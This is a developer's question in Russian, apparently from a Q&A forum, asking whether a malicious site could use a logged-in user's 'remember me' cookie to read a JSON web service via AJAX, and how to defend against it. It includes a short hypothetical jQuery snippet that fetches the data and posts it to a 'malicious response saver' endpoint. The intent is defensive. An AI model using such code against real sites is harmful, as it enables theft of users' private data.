У нас есть веб-служба JSON, которая используется одной из наших веб-страниц для отображения «живых» данных. Чтобы попасть на страницу, пользователь должен войти в систему. Нас беспокоит возможность сбора этих данных вредоносными сайтами (конкурентами). Однако я не уверен, что проблема, которую мы ожидаем, правдоподобна.
Как только пользователь входит в систему, мы сохраняем файл cookie «запомнить меня» на его компьютере. Если кто-то создаст сайт, который сделает запрос AJAX к нашему веб-сервису и убедит вошедшего в систему пользователя посетить сайт, сможет ли он получить и сохранить информацию из нашего сервиса? Если да, то как мы можем защитить себя от чего-то подобного?
Например:
Может ли вредоносный веб-сайт создать такой скрипт для получения наших данных:
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
Поскольку они обращаются к нашему каналу JSON, не отправит ли он файл cookie на наш сайт, и пользователь будет аутентифицирован. Поскольку они будут аутентифицированы, не отправит ли он конфиденциальные данные обратно?